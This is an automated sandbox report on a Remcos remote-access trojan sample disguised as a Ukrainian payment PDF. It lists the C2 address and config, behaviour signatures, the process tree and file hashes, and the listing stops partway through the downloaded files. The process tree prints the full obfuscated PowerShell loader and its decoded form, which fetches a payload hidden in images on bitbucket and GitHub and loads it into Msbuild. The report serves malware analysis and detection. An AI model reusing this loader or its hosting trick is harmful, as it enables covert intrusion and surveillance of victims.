Analysis

  • max time kernel
    208s
  • max time network
    209s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/12/2024, 13:53

General

  • Target

    https://www.4sync.com/web/directDownload/46fxtJj3/Qp7wijin.39f4be40b8f7f592bfee67f41941cb40

Malware Config

Extracted

Family

remcos

Botnet

rmc_five

C2

101.99.94.64:2404

101.99.94.64:80

101.99.94.64:8080

101.99.94.64:465

101.99.94.64:50000

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    rmc

  • mouse_option

    false

  • mutex

    FiveHHBvdh-4V205L

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://www.4sync.com/web/directDownload/46fxtJj3/Qp7wijin.39f4be40b8f7f592bfee67f41941cb40
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7cae46f8,0x7ffe7cae4708,0x7ffe7cae4718
      2⤵
        PID:2616
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:2
        2⤵
          PID:1660
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4180
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2924 /prefetch:8
          2⤵
            PID:1488
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
            2⤵
              PID:3972
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
              2⤵
                PID:3856
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5208 /prefetch:1
                2⤵
                  PID:3816
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5228 /prefetch:1
                  2⤵
                    PID:4388
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5492 /prefetch:8
                    2⤵
                      PID:1796
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5492 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4608
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3676 /prefetch:1
                      2⤵
                        PID:3268
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5604 /prefetch:1
                        2⤵
                          PID:4968
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5284 /prefetch:8
                          2⤵
                            PID:2176
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:1
                            2⤵
                              PID:3704
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5984 /prefetch:8
                              2⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1576
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,3964238903933892750,11761886779024181999,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2972 /prefetch:2
                              2⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2928
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:2196
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:1624
                              • C:\Windows\System32\rundll32.exe
                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                1⤵
                                  PID:4008
                                • C:\Program Files\7-Zip\7zFM.exe
                                  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Desktop\Електронний платіжний документ.pdf.rar"
                                  1⤵
                                  • Suspicious behavior: GetForegroundWindowSpam
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of FindShellTrayWindow
                                  PID:4500
                                • C:\Users\Admin\Desktop\Електронний платіжний документ.pdf.exe
                                  "C:\Users\Admin\Desktop\Електронний платіжний документ.pdf.exe"
                                  1⤵
                                  • Executes dropped EXE
                                  • Adds Run key to start application
                                  PID:2208
                                  • C:\Windows\SYSTEM32\cmd.exe
                                    cmd.exe /c 6768b68edd946.vbs
                                    2⤵
                                    • Checks computer location settings
                                    • Modifies registry class
                                    PID:2928
                                    • C:\Windows\System32\WScript.exe
                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6768b68edd946.vbs"
                                      3⤵
                                      • Checks computer location settings
                                      PID:4408
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bi$GE$cwBl$DY$N$BM$GU$bgBn$HQ$a$$g$D0$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$I$$k$HM$d$Bh$HI$d$BJ$G4$Z$Bl$Hg$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$GI$YQBz$GU$Ng$0$EM$bwBt$G0$YQBu$GQ$I$$9$C$$J$Bp$G0$YQBn$GU$V$Bl$Hg$d$$u$FM$dQBi$HM$d$By$Gk$bgBn$Cg$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Cw$I$$k$GI$YQBz$GU$Ng$0$Ew$ZQBu$Gc$d$Bo$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bj$G8$bQBt$GE$bgBk$EI$eQB0$GU$cw$g$D0$I$Bb$FM$eQBz$HQ$ZQBt$C4$QwBv$G4$dgBl$HI$d$Bd$Do$OgBG$HI$bwBt$EI$YQBz$GU$Ng$0$FM$d$By$Gk$bgBn$Cg$J$Bi$GE$cwBl$DY$N$BD$G8$bQBt$GE$bgBk$Ck$Ow$g$C$$I$$k$HQ$ZQB4$HQ$I$$9$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$Ow$g$CQ$b$Bv$GE$Z$Bl$GQ$QQBz$HM$ZQBt$GI$b$B5$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBS$GU$ZgBs$GU$YwB0$Gk$bwBu$C4$QQBz$HM$ZQBt$GI$b$B5$F0$Og$6$Ew$bwBh$GQ$K$$k$GM$bwBt$G0$YQBu$GQ$QgB5$HQ$ZQBz$Ck$Ow$g$C$$J$BF$G4$YwBv$GQ$ZQBk$FQ$ZQB4$HQ$I$$9$Fs$QwBv$G4$dgBl$HI$d$Bd$Do$OgBU$G8$QgBh$HM$ZQ$2$DQ$UwB0$HI$aQBu$Gc$K$$k$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$YwBv$G0$c$By$GU$cwBz$GU$Z$BC$Hk$d$Bl$EE$cgBy$GE$eQ$g$D0$I$BH$GU$d$$t$EM$bwBt$H$$cgBl$HM$cwBl$GQ$QgB5$HQ$ZQBB$HI$cgBh$Hk$I$$t$GI$eQB0$GU$QQBy$HI$YQB5$C$$J$Bl$G4$YwBU$GU$e$B0$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$HQ$eQBw$GU$I$$9$C$$J$Bs$G8$YQBk$GU$Z$BB$HM$cwBl$G0$YgBs$Hk$LgBH$GU$d$BU$Hk$c$Bl$Cg$JwB0$GU$cwB0$H$$bwB3$GU$cgBz$Gg$ZQBs$Gw$LgBI$G8$YQBh$GE$YQBh$GE$cwBk$G0$ZQ$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$EU$bgBj$G8$Z$Bl$GQ$V$Bl$Hg$d$$g$D0$WwBD$G8$bgB2$GU$cgB0$F0$Og$6$FQ$bwBC$GE$cwBl$DY$N$BT$HQ$cgBp$G4$Zw$o$CQ$QgB5$HQ$ZQBz$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$G0$ZQB0$Gg$bwBk$C$$PQ$g$CQ$d$B5$H$$ZQ$u$Ec$ZQB0$E0$ZQB0$Gg$bwBk$Cg$JwBs$GY$cwBn$GU$Z$Bk$GQ$Z$Bk$GQ$Z$Bh$Cc$KQ$u$Ek$bgB2$G8$awBl$Cg$J$Bu$HU$b$Bs$Cw$I$Bb$G8$YgBq$GU$YwB0$Fs$XQBd$C$$K$$n$C$$d$B4$HQ$LgBp$EY$aQBB$Gk$agBG$C8$cwBk$GE$bwBs$G4$dwBv$GQ$LwBz$GY$dwBx$GU$cQB3$C8$d$B3$HE$ZQB3$HE$ZQ$v$Gc$cgBv$C4$d$Bl$Gs$YwB1$GI$d$Bp$GI$Jw$s$C$$Jw$w$Cc$L$$g$Cc$UwB0$GE$cgB0$HU$c$BO$GE$bQBl$Cc$L$$g$Cc$TQBz$GI$dQBp$Gw$Z$$n$Cw$I$$n$D$$Jw$p$Ck$fQB9$$==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('$','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4100
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.iFiAijF/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec
                                          5⤵
                                          • Blocklisted process makes network request
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious use of SetThreadContext
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1700
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
                                            6⤵
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: GetForegroundWindowSpam
                                            • Suspicious use of SetWindowsHookEx
                                            PID:4364

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\ProgramData\rmc\logs.dat

                                  Filesize

                                  144B

                                  MD5

                                  504f793aeae9a2722907a6ae25ccc168

                                  SHA1

                                  dc110cf4ecb07f3a0fd28fac77d4165f3eaf4f7b

                                  SHA256

                                  6d48a07dd4a0094ae2efda1f31c95b6b6b8dd5e756b0525122107d6b7512f580

                                  SHA512

                                  66b3f2e1e9916f07757870c66207496878cd07c4e166799e2397502a3c9a171125999c2d812024928ebb2d138eee399f69315c9828147b17c788c8bf58d73742

                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                  Filesize

                                  3KB

                                  MD5

                                  f41839a3fe2888c8b3050197bc9a0a05

                                  SHA1

                                  0798941aaf7a53a11ea9ed589752890aee069729

                                  SHA256

                                  224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

                                  SHA512

                                  2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                  Filesize

                                  152B

                                  MD5

                                  99afa4934d1e3c56bbce114b356e8a99

                                  SHA1

                                  3f0e7a1a28d9d9c06b6663df5d83a65c84d52581

                                  SHA256

                                  08e098bb97fd91d815469cdfd5568607a3feca61f18b6b5b9c11b531fde206c8

                                  SHA512

                                  76686f30ed68144cf943b80ac10b52c74eee84f197cee3c24ef7845ef44bdb5586b6e530824543deeed59417205ac0e2559808bcb46450504106ac8f4c95b9da

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                  Filesize

                                  152B

                                  MD5

                                  443a627d539ca4eab732bad0cbe7332b

                                  SHA1

                                  86b18b906a1acd2a22f4b2c78ac3564c394a9569

                                  SHA256

                                  1e1ad9dce141f5f17ea07c7e9c2a65e707c9943f172b9134b0daf9eef25f0dc9

                                  SHA512

                                  923b86d75a565c91250110162ce13dd3ef3f6bdde1a83f7af235ed302d4a96b8c9ed722e2152781e699dfcb26bb98afc73f5adb298f8fd673f14c9f28b5f764d

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                  Filesize

                                  6KB

                                  MD5

                                  824ec01565023c800ef5267a04049b22

                                  SHA1

                                  2e62406fea1b9abc82e413c50e4a6c81c506006a

                                  SHA256

                                  01f43efc119bd973bc87cfd3dd75ada3500980ed3b17d1b8f6ba12dbbe4a51bc

                                  SHA512

                                  242ed749a8d14f7e5c620128013b20f378cceba8dfd0f5ae5c085f800fe3bbb6ff04b3c03dab63b538530cdac1dae9e1c841336989531c9c96c026efc9d062ed

                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

